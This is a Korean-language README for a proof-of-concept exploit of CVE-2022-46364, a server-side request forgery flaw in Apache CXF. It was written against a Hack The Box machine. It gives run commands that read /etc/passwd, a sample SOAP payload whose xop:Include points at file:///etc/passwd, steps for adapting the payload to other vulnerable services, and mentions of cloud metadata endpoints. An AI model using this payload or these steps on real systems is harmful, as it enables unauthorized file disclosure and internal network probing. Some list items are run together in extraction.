
개념 증명 익스플로잇 for CVE-2022-46364, Apache CXF SSRF 취약점으로, 조작된 MTOM/XOP SOAP 요청을 통해 임의 파일 읽기 및 내부 네트워크 탐색이 가능합니다.
CVE-2022-46364에 대한 개념 증명 익스플로잇 — Apache CXF의 MTOM/XOP 요청 처리에서 발생하는 서버 측 요청 위조(SSRF) 취약점입니다.
CVE-2022-46364는 Apache CXF 3.4.10 및 3.5.5 이전 버전에 영향을 미칩니다. SOAP 서비스에서 MTOM(메시지 전송 최적화 메커니즘)이 활성화되면 CXF 언마샬러는 <xop:Include> 요소 내의 href 속성을 잘못 검증합니다. W3C XOP 사양에서 요구하는 대로 href를 cid: URI로 제한하지 않고, CXF는 file://, http://, https://를 포함한 임의의 URI를 역참조합니다.
이를 통해 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
file:///etc/passwd)http://169.254.169.254/)이 PoC는 Hack The Box 머신을 대상으로 작성 및 테스트되었습니다:
대상 엔드포인트: http://devarea.htb:8080/employeeservice
하지만 대상 WSDL에 따라 XML 페이로드를 약간 수정하면 대상 환경에 맞게 조정할 수 있습니다.
기본 URL은 http://devarea.htb:8080/employeeservice입니다.
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
중요: 이 스크립트는 HTB DevArea WSDL 구조에 맞게 하드코딩되어 있습니다. 다른 취약한 Apache CXF 서비스를 대상으로 사용하려면 대상의 WSDL 계약에 맞게
build_payload()내부의 SOAP 페이로드를 반드시 수정해야 합니다.
대상에서 WSDL을 가져옵니다:
curl http://target:8080/employeeservice?wsdl
서비스 세부 정보를 식별합니다:
targetNamespace (예: http://devarea.htb/)submitReport)<content>가 있는 <arg0>)build_payload()에서 페이로드를 수정합니다:
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/>를 배치합니다스크립트 실행 시 --url을 업데이트합니다.
다음 WSDL 조각이 주어진 경우:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
페이로드는 다음과 같이 되어야 합니다:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
Content-Type: application/xop+xml을 사용하여 multipart/related HTTP 요청을 만듭니다.<xop:Include href="file:///etc/passwd"/> 요소가 배치됩니다.file:// URI를 역참조합니다.<return> 요소 내에 반환됩니다.Content: 이후의 base64 문자열을 추출하여 디코딩합니다.| 리소스 | 링크 |
|---|---|
| Apache CXF 보안 권고 | CVE-2022-46364 |
| NVD 항목 | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| W3C XOP 사양 | XML-binary Optimized Packaging |
| Penligent 심층 분석 | CVE-2022-46364 PoC in Practice |
| HTB DevArea | Hack The Box — DevArea |
이 도구는 승인된 보안 테스트 및 교육 목적으로만 사용됩니다. 소유하지 않은 시스템을 테스트하기 전에 항상 명시적인 허가를 받으십시오. 저자는 이 스크립트로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
MIT 라이선스 — 적절한 저작자 표시와 함께 자유롭게 사용, 수정 및 공유할 수 있습니다.